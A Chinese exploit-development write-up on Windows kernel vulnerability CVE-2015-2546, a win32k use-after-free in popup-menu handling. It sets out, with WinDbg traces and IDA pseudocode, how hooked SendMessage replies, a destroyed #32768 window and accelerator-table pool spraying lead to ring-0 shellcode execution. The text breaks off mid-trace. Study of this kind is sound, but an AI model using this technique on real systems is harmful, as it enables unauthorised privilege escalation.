【技术分享】经典内核漏洞调试笔记之二

阅读量242943

|

发布时间 : 2016-11-15 10:45:29

http://p9.qhimg.com/t01e69be8b6bfe3731d.jpg

作者:k0pwn_ko

稿费:500RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

传送门

【技术分享】经典内核漏洞调试笔记


前言

上一次我发了一篇自己在一个经典内核漏洞CVE-2014-4113中挣扎的经历,以及一些调试细节的分享:http://bobao.360.cn/learning/detail/3170.html

总结过后感觉自己收获很多,后来一个偶然的机会,我看到了百度安全实验室发的一篇文章,是关于另一个经典的内核漏洞,也就是今天的主角—-CVE-2015-2546这个漏洞的从补丁对比到Exploit的分析:http://xlab.baidu.com/cve-2015-2546%ef%bc%9a%e4%bb%8e%e8%a1%a5%e4%b8%81%e6%af%94%e5%af%b9%e5%88%b0exploit/

同样感觉收获满满,在这篇分析中,总结了漏洞的成因,以及构造还原的手法,受益匪浅,但是并没有提供Exploit,于是根据这篇分析,我尝试编写了一下Exploit,这一次真的是非常艰辛,一边逆向调试,一边编写Exploit,磕磕绊绊完成了这个漏洞的利用,但和我的上一篇分析一样,在调试过程中,有好多非常有意思的过程,所以总结了一下,拿出来和大家一起分享。

下面开始我这只小菜鸟的提权之旅。


从CVE-2014-4113到CVE-2015-2546

首先我来描述一下这个漏洞的过程:在创建弹出菜单之后,当进行鼠标操作的时候会触发鼠标事件,引发win32k.sys下的一个叫做MNMouseMove的函数,在这个函数的处理过程中会涉及到一个叫做MNHideNextHierarchy的函数,这个函数会传入一个参数,这个参数是一个名为tagPOPUPMENU的结构体对象,由于对于这个对象没有进行检查,导致可以通过前面的SendMessage异步的方法,使用将这个对象释放掉,然后使用一个fake_tag进行占位,从而将这个fake_tag传入MNHideNextHierarchy,在这个函数中会处理一个1E4消息,在这里由于fake_tag的关系,导致释放后重用,从而引发在Ring0层执行Shellcode,最后完成提权。

第一次看到这个漏洞的时候,我就觉得这个利用的过程和CVE-2014-4113非常相像,都是在SendMessage中完成的利用,也就是利用的call [esi+60h]这个汇编指令。

要想触发这个漏洞,首先要想办法执行到MNMouseMove,我们一起来分析一下从哪里能够执行到MNMouseMove。

http://p2.qhimg.com/t01017ec0e7a94881ea.png

这个过程是不是非常熟悉,从TrackPopupMenuEx到MNLoop,到HandleMenuMessages,最后到MNMouseMove。我们上一篇调试CVE-2014-4113就是这个过程,上一个漏洞发生在HandleMenuMessage中,而CVE-2015-2546发生在HandleMenuMessages里面的另一个调用,那么我就产生了一个想法,CVE-2014-4113的Exploit我们是否能在这个漏洞里使用呢?(事后证明,想的容易,做起来难,不过过程很有意思。)我们就从CVE-2014-4113这个Exploit入手,来完成CVE-2015-2546的提权。


和内核对抗的日子

首先我们来看一下CVE-2014-4113和CVE-2015-2546有多少关系,相关内容,可以看一下注释。

if ( v5 > 0x104 )
  {
    if ( v5 > 0x202 )
    {
     ……
    }
    ……
    if ( v20 )
    {
      v21 = v20 - 1;
      if ( v21 )
      {
        ……
            v13 = xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, (int)v7);
            v52 = IsMFMWFPWindow(v13);
            if ( v52 )
        ……
            if ( v13 == -1 )
              xxxMNButtonDown((PVOID)v3, v12, UnicodeString, 1);
            else
              xxxSendMessage((PVOID)v13, -19, UnicodeString, 0);// CVE -2014-4113的漏洞位置
            if ( !(*(_DWORD *)(v12 + 4) & 0x100) )
              xxxMNRemoveMessage(*(_DWORD *)(a1 + 4), 516);
          }
          return 0;
        }
        goto LABEL_59;
    }
    ……
LABEL_59:
    ……
    xxxMNMouseMove(v3, a2, (int)v7); // CVE-2015-2546漏洞位置
    return 1;
  }
}

可以看到,两个漏洞的位置都处于HandleMenuMessages的函数中,经过CVE-2014-4113的分析,我们发现这个过程需要通过调用PostMessage的函数,这涉及到对窗口的操作,在CVE-2014-4113中,通过WNDCLASS类中的lpfnWndProc定义了回调函数MyWndProc负责处理窗口函数,这里使用的PostMessage的方法。

这样的话,为了使程序执行到MNMouseMove,我需要设定一个鼠标事件,这里的灵感来源于百度实验室的分析文章,所以我考虑使用。

//WM_SYSCOMMAND处理消息
PostMessage(hwnd,WM_SYSCOMMAND,0,0);//发送WM_SYSCOMMAND
//鼠标事件
PostMessage(hwnd,WM_LBUTTONDOWN,0,0);//鼠标左键按下
PostMessage(hwnd,WM_LBUTTONUP,0,0);//鼠标左键抬起

但是经过调试,我发现无论如何也到达不了调试位置,这样我需要考虑为何无法到达调试位置,在分析的过程中发现了一个有趣的事情,首先,在CVE-2014-4113中,使用TrackPopupMenu会创建一个弹出窗口菜单。

http://p3.qhimg.com/t014bf44b6e02c871bf.png

但是,当修改了MyWndProc变成我们设定的事件之后,窗口菜单弹出后就没有后续动作了,也就是说,没有进入MNMouseMove的处理过程,但是当我把鼠标挪到上图的菜单中时,我们首先命中了HandleMenuMessages断点,紧接着命中了MNMouseMove。

kd> g
Breakpoint 6 hit
win32k!xxxHandleMenuMessages:
90668d78 8bff            mov     edi,edi
kd> g
Breakpoint 4 hit
win32k!xxxMNMouseMove:
906693ef 8bff            mov     edi,edi

这说明在鼠标挪上去后在HandleMenuMessages中发生的事情能够使程序最后进入MNMouseMove,分析一下这个过程。

kd> p
win32k!xxxHandleMenuMessages+0x1b:
90668d93 8b7508          mov     esi,dword ptr [ebp+8]
kd> p
win32k!xxxHandleMenuMessages+0x1e:
90668d96 8b4604          mov     eax,dword ptr [esi+4]
kd> p
win32k!xxxHandleMenuMessages+0x21:
90668d99 8b5608          mov     edx,dword ptr [esi+8]
kd> r eax
eax=00000200

可以发现,程序进入后,会传递一个值0x200,这个值会在随后的过程中连续传递并且判断并且跳转,这个过程不再详细跟踪,举两个跳转的例子。

//一处跳转,0x200和0x104作比较
kd> p
win32k!xxxHandleMenuMessages+0x2f:
90668da7 895dfc          mov     dword ptr [ebp-4],ebx
kd> p
win32k!xxxHandleMenuMessages+0x32:
90668daa 3bc1            cmp     eax,ecx
kd> r eax
eax=00000200
kd> r ecx
ecx=00000104
kd> p
win32k!xxxHandleMenuMessages+0x34:
90668dac 0f87e4010000    ja      win32k!xxxHandleMenuMessages+0x21d (90668f96)
//另一处跳转,0x200和0x202作比较
kd> p
win32k!xxxHandleMenuMessages+0x21d:
90668f96 b902020000      mov     ecx,202h
kd> p
win32k!xxxHandleMenuMessages+0x222:
90668f9b 3bc1            cmp     eax,ecx
kd> p
win32k!xxxHandleMenuMessages+0x224:
90668f9d 0f8706010000    ja      win32k!xxxHandleMenuMessages+0x330 (906690a9)

这时我们看一下我这篇文章开头提到的HandleMenuMessages函数的分析,在开头有两处if语句判断,正是和这两个值做的比较,接下来经过一系列判断跳转之后,我们就到达了MNMouseMove的调用。

kd> p
win32k!xxxHandleMenuMessages+0x264:
90668fdd a900040000      test    eax,400h
kd> p
win32k!xxxHandleMenuMessages+0x269:
90668fe2 747a            je      win32k!xxxHandleMenuMessages+0x2e5 (9066905e)
kd> p
win32k!xxxHandleMenuMessages+0x2e5:
9066905e 53              push    ebx

9066905e地址所处的位置,已经是MNMouseMove的上方,ebx正在作为MNMouseMove的参数传入栈中。

.text:BF93905E ; 395:     xxxMNMouseMove(v3, a2, (int)v7);
.text:BF93905E                 push    ebx             ; int
.text:BF93905F                 push    esi             ; int
.text:BF939060                 push    edi             ; UnicodeString
.text:BF939061                 call    _xxxMNMouseMove@12 ; xxxMNMouseMove(x,x,x)

也就是说,之前传入的这个eax是一个很关键的值,如果弄明白这个值,就可以让程序成功执行到MNMouseMove了,但因为这个过程实际上是通过Windows下的图形界面操作(也就是鼠标在我们创建的主窗口移动产生的),所以我们并不能通过CVE-2014-4113的源码分析出来,这里需要分析一下这个值得内容,这时我想到了CVE-2014-4113源程序,同样也是在HandleMenuMessages进行if语句的判断导致跳转,而CVE-2014-4113已经分析的很清楚了,运行CVE-2014-4113的源程序,中断在HandleMenuMessage调试。

kd> p
win32k!xxxHandleMenuMessages+0x19:
90668d91 53              push    ebx
kd> p
win32k!xxxHandleMenuMessages+0x1a:
90668d92 56              push    esi
kd> p
win32k!xxxHandleMenuMessages+0x1b:
90668d93 8b7508          mov     esi,dword ptr [ebp+8]
kd> p
win32k!xxxHandleMenuMessages+0x1e:
90668d96 8b4604          mov     eax,dword ptr [esi+4]
kd> p
win32k!xxxHandleMenuMessages+0x21:
90668d99 8b5608          mov     edx,dword ptr [esi+8]
kd> r eax
eax=00000201
kd> dd esi
85c4bb0c  000f02a2 00000201 00000000 00000000

可以看到这里eax的值是0x201(刚才那个是0x200),也就是十进制的513,来看一下CVE-2014-4113里的过程,计算一下。

 v20 = v5 - 261;
    if ( v20 )
    {
      v21 = v20 - 1;
      if ( v21 )
      {
        v22 = v21 - 18;
        if ( !v22 )
          return 1;
        v23 = v22 - 232;
        if ( v23 )
        {
          if ( v23 == 1 )
          {
LABEL_13:
            v12 = a2;
            *(_DWORD *)(a2 + 16) = -1;
            *(_DWORD *)(a2 + 8) = (signed __int16)v7;
            *(_DWORD *)(a2 + 12) = SHIWORD(v7);
            v13 = xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, (int)v7);
            v52 = IsMFMWFPWindow(v13);

这里要计算最后v23的值,就从最上方v20的值开始向下判断,也就是v23=513-261-1-18-232=1,正好v23等于1,从而进入下面CVE-2014-4113的处理逻辑。v5的值,就是0x201,也就是513,那么这个值到底是什么呢,我们来查一下这个值。

public enum WMessages : int
   {
       WM_LBUTTONDOWN = 0x201, //Left mousebutton down
       WM_LBUTTONUP = 0x202,  //Left mousebutton up
       WM_LBUTTONDBLCLK = 0x203, //Left mousebutton doubleclick
       WM_RBUTTONDOWN = 0x204, //Right mousebutton down
       WM_RBUTTONUP = 0x205,   //Right mousebutton up
       WM_RBUTTONDBLCLK = 0x206, //Right mousebutton doubleclick
       WM_KEYDOWN = 0x100,  //Key down
       WM_KEYUP = 0x101,   //Key up
   }

原来这个值就是WM_LBUTTONDOWN的值,正是CVE-2014-4113利用程序中MyWndProc中其中第三个PostMessage中调用到的第二个参数值,所以,我在这里,将我的Exploit中的PostMessage里第二个参数直接修改成0x200,重新运行程序,终于命中了MNMouseMove断点。接下来可以进入内层函数分析了。

http://p2.qhimg.com/t015281883afb934268.png

进入内层函数后,我们需要想办法让程序执行到MNFindeWindowFromPoint函数调用的位置,但是我发现到其中一个判断的时候没法通过,会直接到退出的位置。

kd> p
win32k!xxxMNMouseMove+0x2f:
9066941e 0f846f010000    je      win32k!xxxMNMouseMove+0x1a4 (90669593)
kd> p
win32k!xxxMNMouseMove+0x1a4:
90669593 5f              pop     edi

来看一下IDA pro的伪代码。

if ( (signed __int16)a3 != *(_DWORD *)(a2 + 8) || SHIWORD(a3) != *(_DWORD *)(a2 + 12) )
    {

只有上面伪代码中的if语句判断通过后,才能进入到漏洞的处理流程,动态跟踪一下这个过程。

kd> p
win32k!xxxMNMouseMove+0x26:
90669415 c1ea10          shr     edx,10h
kd> r edx
edx=00000000
kd> p
win32k!xxxMNMouseMove+0x29:
90669418 0fbfd2          movsx   edx,dx
kd> r edx
edx=00000000
kd> p
win32k!xxxMNMouseMove+0x2c:
9066941b 3b570c          cmp     edx,dword ptr [edi+0Ch]

这最主要的原因就是对比的两个值都为0,从而不满足if语句的跳转,跳过了漏洞处理所需的逻辑流程,但是在我们利用鼠标移动的时候,却发现这个流程可以进入if语句判断。

kd> p
win32k!xxxHandleMenuMessages+0x2e8:
90669061 e889030000      call    win32k!xxxMNMouseMove (906693ef)
kd> dd esp
85c47a98  fde8da68 9074f580 000f0059 9074f580 //000f0059
kd> p
win32k!xxxMNMouseMove+0x18:
90669407 0fbfc1          movsx   eax,cx
kd> r ecx
ecx=000f0059
kd> p
win32k!xxxMNMouseMove+0x1b:
9066940a 57              push    edi
kd> p
win32k!xxxMNMouseMove+0x1c:
9066940b 8b7d0c          mov     edi,dword ptr [ebp+0Ch]
kd> p
win32k!xxxMNMouseMove+0x1f:
9066940e 3b4708          cmp     eax,dword ptr [edi+8]
kd> p
win32k!xxxMNMouseMove+0x22:
90669411 7511            jne     win32k!xxxMNMouseMove+0x35 (90669424)
kd> p
win32k!xxxMNMouseMove+0x35:
90669424 894708          mov     dword ptr [edi+8],eax
kd> r eax
eax=00000059

鼠标移动的情况下,eax的值是0x59,并非0x00,那么这个值从哪里来呢,在进入MNMouseMove前看一下参数。

kd> p
win32k!xxxHandleMenuMessages+0x2e8:
90669061 e889030000      call    win32k!xxxMNMouseMove (906693ef)
kd> dd esp
85c47a98  fde8da68 9074f580 000f0059 9074f580

通过IDA pro分析一下HandleMenuMessages函数,看看这个值是从哪里来。

v5 = *(_DWORD *)(a1 + 4);
v6 = *(_DWORD *)(a1 + 8);
v7 = *(void **)(a1 + 12);
xxxMNMouseMove(v3, a2, (int)v7);

是a1,也就是HandleMenuMessages的第一个参数,这样我们可以回到CVE-2014-4113中,在调用HandleMenuMessages的时候,直接查看第一个参数偏移+0Ch位置的值,看看这个值是不是由我们决定的。

kd> p
win32k!xxxHandleMenuMessages+0x1e:
90668d96 8b4604          mov     eax,dword ptr [esi+4]
kd> p
win32k!xxxHandleMenuMessages+0x21:
90668d99 8b5608          mov     edx,dword ptr [esi+8]
kd> p
win32k!xxxHandleMenuMessages+0x24:
90668d9c 8b5e0c          mov     ebx,dword ptr [esi+0Ch]
kd> r edx
edx=00000000
kd> p
win32k!xxxHandleMenuMessages+0x27:
90668d9f b904010000      mov     ecx,104h
kd> r ebx
ebx=00000000
kd> r eax
eax=00000201

可以看到ebx寄存器是esi+0ch的值,这个值是0,eax的值是0x201,回过头看一下正常Exploit中MyWndProc函数的PostMessages的参数调用。

PostMessage(hwnd,WM_LBUTTONDOWN,0x00,0)

这个第三个第四个特定参数都是0x00,那么我觉得这个可能和MNMouseMove中的值有关,于是我尝试修改了CVE-2015-2546中PostMessage消息传递的特定参数。

修改之后,我们重新跟踪调试。

kd> p
win32k!xxxHandleMenuMessages+0x21:
90668d99 8b5608          mov     edx,dword ptr [esi+8]
kd> p
win32k!xxxHandleMenuMessages+0x24:
90668d9c 8b5e0c          mov     ebx,dword ptr [esi+0Ch]
kd> p
win32k!xxxHandleMenuMessages+0x27:
90668d9f b904010000      mov     ecx,104h
kd> r edx
edx=00110011
kd> r ebx
ebx=00110011

果然这个值可控了,而且esi指针的值就+4h是PostMessage第二个参数,+08h是第三个参数,+0Ch是第四个参数,接下来,MNMouseMove也能够正常进入if语句的处理流程了。

kd> p
win32k!xxxHandleMenuMessages+0x2e8:
90669061 e889030000      call    win32k!xxxMNMouseMove (906693ef)
kd> dd esp
85d07a98  fde8da68 9074f580 00110011 9074f580
kd> p
win32k!xxxMNMouseMove+0x1f:
9066940e 3b4708          cmp     eax,dword ptr [edi+8]
kd> p
win32k!xxxMNMouseMove+0x22:
90669411 7511            jne     win32k!xxxMNMouseMove+0x35 (90669424)
kd> r eax
eax=00000011
kd> p
win32k!xxxMNMouseMove+0x35:
90669424 894708          mov     dword ptr [edi+8],eax

在HOOK中挣扎和Exploit

接下来,进入到消息钩子部分,主要处理的还是SendMessage异步处理时的消息,通过修改返回,最后达到漏洞调用位置,通过IDA pro来跟踪一下MNMouseMove的执行流程,以及跟CVE-2015-2546有关的部分。

void __stdcall xxxMNMouseMove(WCHAR UnicodeString, int a2, int a3)
{
  ……
    if ( (signed __int16)a3 != *(_DWORD *)(a2 + 8) || SHIWORD(a3) != *(_DWORD *)(a2 + 12) )
    {
      *(_DWORD *)(a2 + 8) = (signed __int16)a3;
      *(_DWORD *)(v5 + 12) = SHIWORD(v4);
      v6 = xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, v4);// V6通过HOOK可控,这里的sendmessage是异步处理
      v7 = v6;                                  // v7可控
      ……
      if ( *(_DWORD *)(v5 + 16) == 1 )          // 这个外层if不一定会进来
      {
        if ( !v7 || v7 == -1 && *(_BYTE *)(*(_DWORD *)(v3 + 4) + 35) & 0x20 )// 判断返回值是0或者-1
          return;
        *(_DWORD *)(v5 + 16) = -1;
      }
      if ( v7 == -5 )                           // 当返回值是0xffffffb
      {
……
      }
      else                                      // 否则进入这里
      {
         ……
          v9 = *(_DWORD **)(v7 + 176);          // 获取tagPOPUPMENU的位置,偏移是+0B0h
         ……
          v10 = xxxSendMessage((PVOID)v7, -27, UnicodeString, 0);
          if ( v10 & 0x10 && !(v10 & 3) && !xxxSendMessage((PVOID)v7, -16, 0, 0) )
            xxxMNHideNextHierarchy(v9);         // 漏洞触发关键位置

经过分析,我们需要处理三处SendMessage的异步过程,第一处在FindWindowFromPoint,这个函数中会有一处SendMessage,通过异步过程执行钩子,但是我调试时发现在进入这个函数返回,但并没有执行钩子。

kd> p
win32k!xxxMNMouseMove+0x48:
90669437 e862010000      call    win32k!xxxMNFindWindowFromPoint (9066959e)
kd> p
win32k!xxxMNMouseMove+0x4d:
9066943c f7470400800000  test    dword ptr [edi+4],8000h
kd> r eax
eax=fea11430
跟踪一下这个过程,我发现在进入SendMessage之前,有一处if语句判断,当这个if语句判断不通过的时候,不会进入SendMessage处理。
kd> p
win32k!xxxMNFindWindowFromPoint+0x14:
906695b2 8b470c          mov     eax,dword ptr [edi+0Ch]
kd> p
win32k!xxxMNFindWindowFromPoint+0x17:
906695b5 85c0            test    eax,eax
kd> p
win32k!xxxMNFindWindowFromPoint+0x19:
906695b7 746b            je      win32k!xxxMNFindWindowFromPoint+0x86 (90669624)
kd> p
win32k!xxxMNFindWindowFromPoint+0x86:
90669624 8b07            mov     eax,dword ptr [edi]
kd> dd edi
fde8da68  12a10008 fea38d58 fea11430 00000000

可以看到这里eax的值是edi+0ch对应的值,也就是0,对应伪代码v5变量值为0,也就是if语句判断没通过,跳转了。这样我们还需要重新看一下这个值,这个值来自于tagPopupMenu结构体,通过CVE-2014-4113和CVE-2015-2546的tagPopupMenu结构体做一个对比。

kd> dt tagPOPUPMENU fde8da68//我们的Exploit中的结构体
   +0x004 spwndNotify      : 0xfea38d58 tagWND
   +0x008 spwndPopupMenu   : 0xfea11430 tagWND
   +0x00c spwndNextPopup   : (null) 
kd> dt fde8da68 tagPOPUPMENU//CVE-2014-4113的结构体
   +0x004 spwndNotify      : 0xfea39de8 tagWND
   +0x008 spwndPopupMenu   : 0xfea12398 tagWND
   +0x00c spwndNextPopup   : 0xfea12578 tagWND

实际上,在通过TrackPopupMenu之后会调用MNLoop进入循环处理消息,而我们的exp中只有一个postmessage,于是我们增加到三个postmessage,再次调试跟踪。

kd> p
win32k!xxxHandleMenuMessages+0x2e7:
90669060 57              push    edi
kd> p
win32k!xxxHandleMenuMessages+0x2e8:
90669061 e889030000      call    win32k!xxxMNMouseMove (906693ef)
kd> r edi
edi=fde8da68
   +0x004 spwndNotify      : 0xfea39d18 tagWND
   +0x008 spwndPopupMenu   : 0xfea11430 tagWND
   +0x00c spwndNextPopup   : 0xfea12698 tagWND

这样,我们就能够处理了,接下来利用三个钩子,分别处理三种消息的调用,这个调用过程和CVE-2014-4113相比差别还是比较大的。需要来看一下最关键的钩子该怎么用。首先我们要分析一下和漏洞利用最关键的函数xxxMNHideNextHierarchy,这个函数有一个参数。

signed int __stdcall xxxMNHideNextHierarchy(int a1)
  v1 = *(_DWORD *)(a1 + 12);
  if ( v1 )
  {
    v2 = *(void **)(a1 + 12);
    if ( v2 != *(void **)(a1 + 28) )
      xxxSendMessage(v2, -28, 0, 0);//这里调用shellcode提权

这个参数a1直接影响到后面的提权,回到外层看一下这个a1从哪里来。

v6 = xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, v4);// V6通过HOOK可控,这里的sendmessage是异步处理
      v7 = v6;                                  // v7可控
      ……
      v9 = *(_DWORD **)(v7 + 176);          // 获取tagPOPUPMENU的位置,偏移是+0B0h
      if ( v10 & 0x10 && !(v10 & 3) && !xxxSendMessage((PVOID)v7, -16, 0, 0) )
            xxxMNHideNextHierarchy((int)v9);    // 漏洞触发关键位置

正是从MNFindWindowFromPoint而来,本来是一次轻松愉快的旅程,但是实际上在逻辑代码中,有一个地方导致了这次旅程血崩,就是:

if ( IsWindowBeingDestroyed(v7) )
            return;

这个地方会对窗口的属性进行检查,也就是说,v7不能是一个任意值,比如是我们直接通过零页分配的shellcode的某个地址指针,如果可以的话,后面就会导致其他的利用了,因此这个值必须是一个窗口的值,因此我们用一种方法:

就是创建窗口A和窗口B,在这里通过异步调用,返回窗口B的值,这样后续处理中,就会将窗口B的tagMenu偏移+0B0h位置的值,也就是tagPopupMenu交给v9,那么随后在最后一个SendMessage中销毁窗口B,通过一些方法将销毁后的位置占位,因为后面没有进行判断,从而可以调用占位后的值。而通过分析xxxMNHideNextHierarchy,内层函数用的是tagPopupMenu->spwndNextPopup,因此,只要在占位时再控制这个值,为一个我们可控的值,最后就能在xxxMNHideNextHierarchy里的sendmessage完成最后一步提权了。

有了这个思路,我们就可以开始完成整个提权的工作,首先,我们需要创建一个正常的主窗口,然后我们利用CreateAcceleratorTable来创建大量的tagACCEL对象,加速键表是一个非常好的pool spray的对象,因为它的大小是可控的,我们利用CreateAcceleratorTable创建对象,然后在Windbg里跟踪对象创建过程。

kd> bp 13a1910 ".printf "Create Accelerator at: 0x%.08x\n",@eax;g;"
breakpoint 0 redefined
kd> bp 13a192d
kd> g
Create Accelerator at: 0xffb22c48
Create Accelerator at: 0xfe7f4eb0
Create Accelerator at: 0xfe9ef1d0
Create Accelerator at: 0xfdf756c8
Create Accelerator at: 0xffa30e28
Create Accelerator at: 0xfdf73440
Create Accelerator at: 0xffa020e0
Create Accelerator at: 0xfe898cd0
Create Accelerator at: 0xfdf81ab8
Create Accelerator at: 0xffa2e0d0
Create Accelerator at: 0xfe9fbd08
Create Accelerator at: 0xfe8ff868
Create Accelerator at: 0xfdfdab70
Create Accelerator at: 0xfe9a4690
Create Accelerator at: 0xfded3a70
Create Accelerator at: 0xffa0ac88
Create Accelerator at: 0xffaa6d90//这个位置创建了Accelerator,在后面这个位置被释放,tagPOPUPMENU会占用
Create Accelerator at: 0xfe966c98
Create Accelerator at: 0xfe8a4e88
Create Accelerator at: 0xfdfdeb68
Create Accelerator at: 0xfde9da70
Create Accelerator at: 0xfe952528
Create Accelerator at: 0xffa300d8
Create Accelerator at: 0xfe5ffa70

可以看到,这里分配了大量的tagACCEL对象,上面代码注释部分的0xffaa6d90是我在后续过程中释放的其中一个tagACCEL对象,在后面需要每隔一个间隔释放一个tagACCEL对象,用DestroyAccelerator来将加速键表的对象释放掉。正如之前我所说,由于Accelerator Table在申请时大小可控,我们申请的每一个tagACCEL对象要和tagPopupMenu相同大小。

之后,我们需要建立一个新的窗口,如之前我标红段落所述,由于之前的那处判断,导致我们不能直接构造fake WND,而需要用一个窗口,这个主窗口需要包含弹出菜单,也就是tagPopupMenu,这样才能直接占位。

Windows给我们提供了一个非常有趣的窗口,类名为:#32768,这是Windows默认的包含弹出菜单的主窗口,也就是,这个类名为#32768调用CreateWindowsExW创建tagWND后,会自动生成tagPopupMenu。

kd> p
PoC+0x19ba:
013a19ba 50              push    eax
kd> r eax
eax=005b0770//创建#32768的tagWND

kd> dt win32k!_THRDESKHEAD 5b0770
   +0x000 h                : 0x000a0140 Void
   +0x004 cLockObj         : 4
   +0x008 pti              : 0xfe9edb80 tagTHREADINFO
   +0x00c rpdesk           : 0x8609a488 tagDESKTOP
   +0x010 pSelf            : 0xfea10770  "@???"//通过pself找到内核对象地址
kd> dd fea10770+b0
fea10820  ffaa6d90 00000000 00000000 00000000//ffaa6d90是tagPOPUPmenu,它占了之前Accelerator释放的坑

我们通过调用CreateWindowExW创建#32768的tagWND后,可以在偏移+0x10位置找到pSelf对象,泄露tagWND的内核对象地址,这样这个内核对象地址+0xb0位置存放的是tagPopupMenu,而这个值是ffaa6d90,正是我们之前释放的tagACCEL的地址。

直接通过!pool命令来看一下这个tagPopupMenu的占位情况。

kd> !pool ffaa6d90
Pool page ffaa6d90 region is Paged session pool
 ffaa6000 size:  8e0 previous size:    0  (Allocated)  Gla1
 ffaa68e0 size:   50 previous size:  8e0  (Allocated)  Ustm
 ffaa6930 size:   b8 previous size:   50  (Allocated)  Uspp
 ffaa69e8 size:   b8 previous size:   b8  (Allocated)  Uspp
 ffaa6aa0 size:  158 previous size:   b8  (Allocated)  UsDI
 ffaa6bf8 size:  158 previous size:  158  (Allocated)  UsDI
 ffaa6d50 size:   10 previous size:  158  (Allocated)  Glnk
 ffaa6d60 size:   18 previous size:   10  (Allocated)  Ggls
 ffaa6d78 size:   10 previous size:   18  (Free)       Usqm
*ffaa6d88 size:   40 previous size:   10  (Allocated) *Uspm Process: 8637d6a8
Pooltag Uspm : USERTAG_POPUPMENU, Binary : win32k!MNAllocPopup

接下来我们开始利用钩子来完成hook过程。第一步,在FindWindowFromMessage函数调用中,处理1EB消息,这个和CVE-2014-4113很像。

90669437 e862010000      call    win32k!xxxMNFindWindowFromPoint (9066959e)
win32k!xxxMNMouseMove+0x4d:
9066943c f7470400800000  test    dword ptr [edi+4],8000h
kd> r eax
eax=fea10770

第一步钩子会返回窗口B的值,这样,也能绕过IsDestroy的判断,随后进入第二步处理,第二步处理的值,是1E5的消息,这个消息返回后会将返回值和0x10做一个判断。

xor     edi, edi
push    edi             ; Address
push    dword ptr [ebp+UnicodeString] ; UnicodeString
push    1E5h            ; MbString
push    esi             ; P
call    _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
; 67:           if ( v10 & 0x10 && !(v10 & 3) && !xxxSendMessage((PVOID)v7, -16, 0, 0) )
test    al, 10h
jz      short loc_BF939583

这样我们控制钩子令返回值为0x10就可以了。

kd> p
win32k!xxxMNMouseMove+0x134:
90669523 e87500f8ff      call    win32k!xxxSendMessage (905e959d)
kd> g
Breakpoint 16 hit
win32k!xxxMNMouseMove+0x139:
90669528 a810            test    al,10h
kd> r eax
eax=00000010
kd> p
win32k!xxxMNMouseMove+0x13b:
9066952a 7457            je      win32k!xxxMNMouseMove+0x194 (90669583)

第三步处理1F0的消息,这一步很关键,会调用SendMessage,在这一步的钩子中对窗口B,也就是#32768窗口进行销毁,这样tagPopupMenu也会被释放,销毁后我们使用Accelerator再次占位,由于这一步是在一个if语句里,因此需要返回值为0,才能通过非的判断。

.text:BF939530                 push    edi             ; Address
.text:BF939531                 push    edi             ; UnicodeString
.text:BF939532                 push    1F0h            ; MbString
.text:BF939537                 push    esi             ; P
.text:BF939538                 call    _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:BF93953D                 test    eax, eax
.text:BF93953F                 jnz     short loc_BF939583
.text:BF939541 ; 68:             xxxMNHideNextHierarchy(v9);         // 漏洞触发关键位置

这样的话,我们销毁窗口,并且进行占位,首先在调用SendMessage触发hook之前,我们来看一下当前tagPopupMenu对象池空间仍然是tagPopupMenu对象。

kd> p
win32k!xxxMNMouseMove+0x149:
0008:919f8282 e8f5c3f8ff      call    win32k!xxxSendMessage (9198467c)
kd> !pool ffaa6d90
Pool page ffaa6d90 region is Paged session pool
 ffaa6000 size:  8e0 previous size:    0  (Allocated)  Gla1
 ffaa68e0 size:   50 previous size:  8e0  (Allocated)  Ustm
 ffaa6930 size:   b8 previous size:   50  (Allocated)  Uspp
 ffaa69e8 size:   b8 previous size:   b8  (Allocated)  Uspp
 ffaa6aa0 size:  158 previous size:   b8  (Allocated)  UsDI
 ffaa6bf8 size:  158 previous size:  158  (Allocated)  UsDI
 ffaa6d50 size:   10 previous size:  158  (Allocated)  Glnk
 ffaa6d60 size:   18 previous size:   10  (Allocated)  Ggls
 ffaa6d78 size:   10 previous size:   18  (Free)       Usqm
*ffaa6d88 size:   40 previous size:   10  (Allocated) *Uspm Process: 8637d6a8
Pooltag Uspm : USERTAG_POPUPMENU, Binary : win32k!MNAllocPopup
 ffaa6dc8 size:   20 previous size:   40  (Allocated)  Ussy
 ffaa6de8 size:   18 previous size:   20  (Allocated)  Ggls
 ffaa6e00 size:   78 previous size:   18  (Allocated)  Gpfe
 ffaa6e78 size:   50 previous size:   78  (Allocated)  Ttfd
 ffaa6ec8 size:   48 previous size:   50  (Allocated)  Gffv
 ffaa6f10 size:   70 previous size:   48  (Allocated)  Ghab
 ffaa6f80 size:   10 previous size:   70  (Allocated)  Glnk
 ffaa6f90 size:   70 previous size:   10  (Allocated)  Ghab

随后,我们调用hook返回后,再次看一下tagPopupMenu对象位置

kd> p
win32k!xxxMNMouseMove+0x14e://tagPOPUPMENU被释放,出现40size的free空间,用Accelerator再次占位
0008:919f8287 85c0            test    eax,eax
kd> !pool ffaa6d90
Pool page ffaa6d90 region is Paged session pool
 ffaa6000 size:  8e0 previous size:    0  (Allocated)  Gla1
 ffaa68e0 size:   50 previous size:  8e0  (Allocated)  Ustm
 ffaa6930 size:   b8 previous size:   50  (Allocated)  Uspp
 ffaa69e8 size:   b8 previous size:   b8  (Allocated)  Uspp
 ffaa6aa0 size:  158 previous size:   b8  (Allocated)  UsDI
 ffaa6bf8 size:  158 previous size:  158  (Allocated)  UsDI
 ffaa6d50 size:   10 previous size:  158  (Allocated)  Glnk
 ffaa6d60 size:   18 previous size:   10  (Allocated)  Ggls
 ffaa6d78 size:   10 previous size:   18  (Free)       Usqm
*ffaa6d88 size:   40 previous size:   10  (Allocated) *Usac Process: 8637d6a8
Pooltag Usac : USERTAG_ACCEL, Binary : win32k!_CreateAcceleratorTable

已经被Accelerator对象占位了,这样,由于Use After Free的原因,在进入xxxMNHideNextHierarchy函数前,没有对tagPopupMenu值是否有效进行检查,而是直接引用了tagACCEL+0xc位置的值,这个值正好是cAccel也就是我们可控的一个值,这个值,为了令pool size大小和tagPopupMenu相同,所以这个值为0x5。

kd> p//esi的值为占用tagPopupMenu的tagACCEL,+0xC为caccel
win32k!xxxMNHideNextHierarchy+0x2f:
0008:919ea12e 8b460c          mov     eax,dword ptr [esi+0Ch]
